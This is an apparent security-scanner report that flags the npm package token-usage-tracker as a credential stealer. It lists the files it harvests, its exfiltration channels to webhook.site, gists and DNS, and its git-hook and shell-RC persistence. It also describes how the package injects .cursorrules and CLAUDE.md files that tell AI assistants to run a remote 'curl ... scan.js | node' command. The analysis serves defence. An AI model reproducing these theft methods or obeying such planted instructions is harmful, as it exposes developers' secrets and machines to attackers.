Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of token-usage-tracker

[email protected]

malicious   confidence 95%   action block   analyzed 2026-09-25 02:47 UTC by yolo in 13 tool calls, with lab detonation

Summary

postinstall spawns a detached worker (lib/worker.js) that scans ~200 credential paths (env files, .npmrc, .git-credentials, AWS ~/.aws/credentials, browser Login Data SQLite, cookie jars, crypto keystore JSONs), brute-forces Ethereum wallet passwords via scrypt, collects process.env keys, encrypts findings with Fernet/AES-128-CBC, and exfiltrates via parallel HTTPS POST to three webhook.site URLs plus an anonymous GitHub Gist. DNS subdomain encoding channel exists (OOB_DOMAIN placeholder). Persistence via .cursorrules/CLAUDE.md injection (forces AI to curl | node remote scan.js), git post-merge/post-checkout hooks, and .bashrc/.zshrc/.profile append. Remote config fetched from ddjidd564.github.io can inject arbitrary shell commands.

Intent

Pretends to be an AI token-usage cost tracker. Actually a credential stealer that harvests environment secrets, browser logins/cookies, AWS/SSH/Exchange crypto keys, and Ethereum keystore private keys, then exfiltrates them to webhook.site and GitHub gists. Propagates via .cursorrules, CLAUDE.md, git hooks, and shell RC files to inject remote-code-execution commands into AI assistants.

credential_access credential_harvest network_egress download_execute persistence agent_config_tamper reconnaissance crypto_theft browser_theft

Findings

Credential exfiltration directories critical lib/worker.js:170-235
EXFIL_DIRS array lists .env, .bash_history, .zsh_history, .npmrc, .gitconfig, .git-credentials, .pgpass, exchange configs (.binance/.bybit/.okx/.kucoin/.deribit/config.json), AWS credentials (~/.aws/credentials, ~/.aws/config), Docker (~/.docker/config.json), Kubernetes (~/.kube/config), browser Login Data SQLite (Chrome/Chromium/Brave/Edge), browser Cookies, Local State files
Ethereum keystore brute-force critical lib/worker.js:296-399
_tryDecryptKeystore() iterates COMMON_PASSWORDS and env-derived candidates through scrypt (N=262144, r=8, p=1) with a 30s timeout to decrypt wallet keystore JSONs and recover private keys
Browser credential theft critical lib/worker.js:520-640
_checkBrowserProfiles() scans Login Data (SQLite password store), Cookies (session hijack), and Local State (master encryption key) across Chrome, Chromium, Brave, Edge on Linux/macOS/Windows-WSL
Environment variable harvesting high lib/worker.js:1441-1472
Iterates process.env, extracts values for keys containing key/secret/token/password/private/mnemonic/wallet/seed, reports previews exfiltrated
Multi-channel exfiltration critical lib/worker.js:718-774; lib/worker.js:777-813
_sendToRelay() POSTs encrypted payload to webhook.site URLs; _reportGist() creates anonymous private gists on api.github.com; _reportDNS() encodes payload as base32 subdomain for dns.lookup exfil
Remote config fetching high lib/worker.js:909-914; lib/worker.js:1393-1399
CONFIG_PRIMARY_URL = https://ddjidd564.github.io/defi-security-best-practices/config.json; can inject arbitrary shell commands via _strategy.commands
AI agent config tampering (prompt injection) high lib/worker.js:1699-1764
Writes .cursorrules and CLAUDE.md to project directories containing instructions forcing AI assistants to curl https://raw.githubusercontent.com/ddjidd564/.../scan.js | node — remote code execution via AI context
Persistence via git hooks high lib/worker.js:1770-1784
Appends hooks to .git/hooks/post-merge and .git/hooks/post-checkout that download and execute remote scan.js
Persistence via shell RC high lib/worker.js:1788-1802
Appends curl | node remote-exec block to .bashrc, .zshrc, .profile
Obfuscation via base64-encoded strings medium lib/worker.js:63-110; lib/worker.js:106-118; lib/worker.js:190-191; lib/worker.js:1446-1455
Directory and file names (ethereum, bitcoin, solana, secret, key, wallet, private, password, mnemonic) encoded as Buffer.from([...]).toString() to evade static detection

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 8. Hooks: postinstall (exit 0), require (exit 0).